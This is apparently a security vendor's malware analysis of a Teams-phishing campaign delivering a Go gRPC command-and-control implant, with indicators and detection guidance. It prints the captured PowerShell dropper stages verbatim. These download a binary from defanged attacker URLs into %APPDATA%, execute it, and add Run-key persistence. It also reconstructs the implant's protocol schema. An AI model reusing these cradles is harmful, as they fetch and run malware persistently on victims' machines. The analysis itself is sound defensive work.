Executive Summary
According to Google, “Appenzeller” is a 700-year-old, pungent Swiss washed-rind cheese made from raw cow’s milk, known for its intense, spicy flavor profile driven by a secret herbal brine”. Based on TLS cert name, it’s also what we’re calling some Go malware!
CyberMaxx is tracking active intrusions from a two-stage dropper delivering a Go-based command-and-control implant which a threat actor is actively targeting Teams users with. The implant is equipped with deliberate anti-analysis measures that complicate both static and dynamic analysis. The TLS certificate pinned inside the binary was issued on May 1, 2026, making it a very recent and ongoing campaign.
The malware establishes a persistent bidirectional gRPC stream to operator-controlled infrastructure, accepts encrypted shell commands, and returns results wrapped in protobuf and secured with AES-256 and HMAC-256.
Of note for security teams, this version of the malware deploys basic PowerShell scripting to transfer payload stubs. We sampled a seemingly endless array of dynamically composed binaries from the delivery server; they all used the same base64 encoded command structure. Commonality with initial payload stubs: the `CN=Appenzeller` TLS certificate, and gRPC beaconing behavior from binaries planting themselves in users %APPDATA% paths are all solid detection mechanisms.
Discovery & Initial Triage
The investigation began with SOC alerts for a PowerShell download cradle and PowerShell with base64 encoded commands. Initial analysis by SOC analysts Kyle Colbert and Matt Dees determined this campaign was the result of a Microsoft Teams phishing attempt.
The first stage (pictured below) is straight out of Microsoft documentation for downloads with PowerShell. This *may suggest automation, but there’s no conclusive evidence of that. The standard “Invoke-WebRequest” method downloads a payload to a user’s “\AppData\Roaming” folder. Notably the filename is not hardcoded in the script — it is parsed from the “Content-Disposition” HTTP response header. This means the C2 server controls the filename and headers dynamically. The operator serves different payloads on a per request basis; changing filenames to evade hash-based detection. It also affords them the ability to be agile, swapping stages entirely without modifying the dropper script.
$url = "hxxps://re104[]artcnb[]com/down"
$r = Invoke-WebRequest -Uri $url -MaximumRedirection 5 -UseBasicParsing
$filename = [regex]::Match($r.Headers["Content-Disposition"], 'filename="?([^"]+)"?').Groups[1].Value
$path = Join-Path $env:APPDATA $filename
$fs = [System.IO.File]::Create($path)
$r.RawContentStream.CopyTo($fs)
$fs.Close()
Start-Process $path
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Audio HD v2" -Value $path ;
The second stage, repeats the same download pattern & delivery location. It then immediately executes the dropped binary with the “–token-raw” argument.
The “–token-raw=” argument is passed directly at launch. The two base64-encoded blobs, separated by a colon, contain 16 bytes, then 64 bytes of data. Based on evidence from the disassembled code, this is an AES IV and a combined AES-256 + HMAC-256 key pair. Of the samples we collected, every instance of the binary gets unique key material from the operator at launch.
$url = "hxxps://re14[]dwlfl[]online/36/down43"
$r = Invoke-WebRequest -Uri $url -MaximumRedirection 5 -UseBasicParsing
$filename = [regex]::Match($r.Headers["Content-Disposition"], 'filename="?([^"]+)"?').Groups[1].Value
$path = Join-Path $env:APPDATA $filename
$fs = [System.IO.File]::Create($path)
$r.RawContentStream.CopyTo($fs)
$fs.Close()
$p1="--token-raw=DqQHK9OrlRthlIDYila7oA==:JKxgTwdXPGcx18P8wLvPuEKaKJXh+eKi1QE14vcFV+OCq8d17URKr647iNB3BjmjTv+oenva/TQTlYB/Q3XQDQ=="
Start-Process $path $p1
The Warez
| Field | Value |
| Type | PE32+ x64 GUI |
| Size | 11.5 MB |
| Language | Go |
| Module path | able/cmd/artifact/ |
| PE Timestamp | 0x00000000 (deliberately zeroed) |
| TLS Cert CN | Appenzeller |
| Cert NotBefore | 2026-05-01 |
| Imports | kernel32.dll only |
As soon as we introduced the binary to a disassembler, we exposed the Go module path “able/cmd/artifact/”. Go binaries typically retain their module path in the pclntab (PC-to-line-number table), a runtime structure Go uses to map machine code to source code at runtime. In this case the presence of the pclntab enables us to go farther quicker: it gave us the full symbol table, all package names, and the proto source file path (internal/pkg/proto/agent.proto).
It’s worth mentioning that Go does not typically zero timestamps by default. This was deliberately set by the build process. We can’t authoritatively say, but it seems likely this is a choice intended to complicate correlation. But, wasn’t necessarily worth it.
The name Appenzeller — a Swiss cheese — may be an operator codename, an attempt to troll or joke, etc. The most important thing about the observable is a campaign identifier and potential for correlation / clustering.
The gRPC Stream
The implant establishes a likely persistent bidirectional gRPC stream to the C2 server. The choice of gRPC over mTLS seems deliberate. To a telemetry sensors, this traffic may be indistinguishable from legitimate enterprise gRPC services (Google APIs, internal microservices, etc.).
“Registration”
The implant’s first message on the stream is a RegisterRequest containing a Metadata message:
message Metadata {
string user_id = REDACTED;
repeated string tags = REDACTED;
}
message RegisterRequest {
Metadata metadata = REDACTED;
}
This is machine fingerprint data — hostname, username, OS version, or similar. The server responds with a RegisterResponse containing a session_id that is used to identify the victims instance.
Reconstructed Proto Schema
We used an LLM to help us with analysis. Below is a partially completed reconstructed schema, recovered from the pclntab symbol table:
syntax = “proto3”;
enum Status { }
enum ErrorCode { }
message Metadata { string user_id; repeated string tags; }
message Error { ErrorCode code; string message; }
message RegisterRequest { Metadata metadata; }
message RegisterResponse { Status status; string session_id;
Error error; bytes result; }
message Heartbeat { string session_id; string user_id;
int64 sent_at; }
message ExecuteCommand { string command; int64 timeout_seconds; }
message ExecuteCommandResult { bytes stdout; bytes stderr;
int32 exit_code; }
message Command { string command_id; int64 issued_at;
oneof payload { ExecuteCommand execute; } }
message CommandResult { string command_id; Status status;
Error error;
oneof payload {
ExecuteCommandResult execute; } }
message StreamMessage { oneof payload {
RegisterRequest register;
RegisterResponse registered;
Heartbeat heartbeat;
Command command;
CommandResult command_result; } }
service AgentService {
rpc Connect(stream StreamMessage) returns (stream StreamMessage);
}
Evasion & Anti-Analysis
The most impactful anti-analysis measure is the use of garble/garble like function. Garble is a Go build tool that encrypts string literals at compile time and inserts runtime decryption stubs.
The practical impact for us: the majority of strings in disassembled code do not form coherent plaintext strings or easily traceable calls. This is routinely a challenge in reverse engineering, especially so in Go.
Single Import Table
The PE import table contains only one entry: kernel32.dll. All other Windows API calls must be resolved dynamically. This defeats some Win32 import-based detections: a fairly standard technique of flagging binaries that import traditional methods for launching shell code like VirtualAlloc, CreateRemoteThread, WriteProcessMemory, etc.
Binary Size
At 11.5MB, the binary is large enough that it may cause detection issues for some AV / EDR products. More than likely due to timeout-based methods of analysis. This is a known issue with malware written in Go, which has evasive consequences for defenders.
Detection Opportunities
There are several detectable artifacts defenders may chose to adopt.
Behavioral Indicators
* TLS certificate subject: `CN=Appenzeller`
* Recommended detection: Hunt across SSL/TLS inspection and certificate logs
* Persistent gRPC (HTTP/2) connection originating from a `%APPDATA%`-resident binary
* Single long-lived TCP session with sustained bidirectional traffic
* Not consistent with typical client/server request-response behavior
Network Indicators
URLs
* `hxxps://re14[.]dwlfl[.]online/36/down43`
* `hxxps://re104[.]artcnb[.]com/down`
Domains
* `re14[.]dwlfl[.]online`
* `re15[.]fldwnl[.]online`
* `re104[.]artcnb[.]com`
* `service-agent[.]top`
IP Addresses
* `45[.]86[.]162[.]238`
* `104[.]194[.]214[.]25`
* `104[.]21[.]71[.]56`
* `172[.]67[.]212[.]47`
Host Indicators:
- Process launched with –token-raw=<b64>:<b64> argument pattern
- PowerShell DL Cradle (Invoke-WebRequest , IWR && usebasicparsin)
- “—token-raw” command flag
Indicators of Compromise
| Type | Value | |
| SHA256 | b464e1d31696aceea6714d0d6e8d98e8ef09f93dac96eb226913d4a6da620678 | |
| TLS Cert CN | Appenzeller | |
| CLI Pattern | –token-raw=<b64>:<b64> | |
| Go Module | able/cmd/artifact/ | |
| Proto Path | internal/pkg/proto/agent.proto | |
Other Samples from the same infrastructure:
| Algorithm | Hash | Name |
| SHA1 | 272D9F4A37276F5AD0858FC4ECEF047B2352544D | able.exe |
| SHA1 | 6C2556A964FAADBD2F5EDDD93EFD82FFD15D85FE | actor.exe |
| SHA1 | 3FC3BB8EA491B68BB0446B0311EB5E3517C68F61 | bargain.exe |
| SHA1 | D3AD90562DEC41651ACB3743DEE550885BB11657 | describe.exe |
| SHA1 | 36EF8773A306800B2858A428BF22460C4AAF83C4 | dolphin.exe |
| SHA1 | E75DAA51D8E3616D1B5833696841B756A2AC25EB | foil.exe |
| SHA1 | E6BF13977F92290B1F861A444D384C77DC2FBBDF | frost.exe |
| SHA1 | 4B2161B0DA1B85CF4709082BC8E9B250CD0DD20D | ginger.exe |
| SHA1 | B58642F2F49DA40FC5482BDB05D3A637727AFB4E | glare.exe |
| SHA1 | 9235B9231F25D572B495A26A0CE2CC649F73327F | humble.exe |
| SHA1 | C5059DC17FE3AFA887397F22DAE5F5EE54A518EC | item.exe |
| SHA1 | 2A138B22627FC219F0EDC32AD688C699F2CBE6FF | meat.exe |
| SHA1 | 8E51C2635A207AFFD9F5D6548C15602B4EA21008 | menu.exe |
| SHA1 | 64FA639A326DA3EB46A8E06B5535A39FC6C632FB | pony.exe |
| SHA1 | 88F7661153C5D839D94892D2FAEA4026E4BDE8DE | quantum.exe |
| SHA1 | FF3E5B819C612AEADF57576AA80BD92AA171576C | right.exe |
| SHA1 | 0EE6F3182E3920D9E7DC902C9E479AC9B72A1379 | rural.exe |
| SHA1 | 41F4957B88F8F4FD722094EBB5DF559A577EE50F | source.exe |
| SHA1 | D61447C58CCF3BD7F272A880D4607043660272F4 | teach.exe |
| SHA1 | 55D064093954EB7CA2EB04A2FED0D6096A02CAE5 | wood.exe |
References
- Go pclntab specification: https://go.googlesource.com/go/+/refs/heads/master/src/debug/gosym/pclntab.go
- garble obfuscator: https://github.com/burrowers/garble
- Ghidra Go analyzer: built into Ghidra 11+
- gRPC protocol documentation: https://grpc.io/docs/
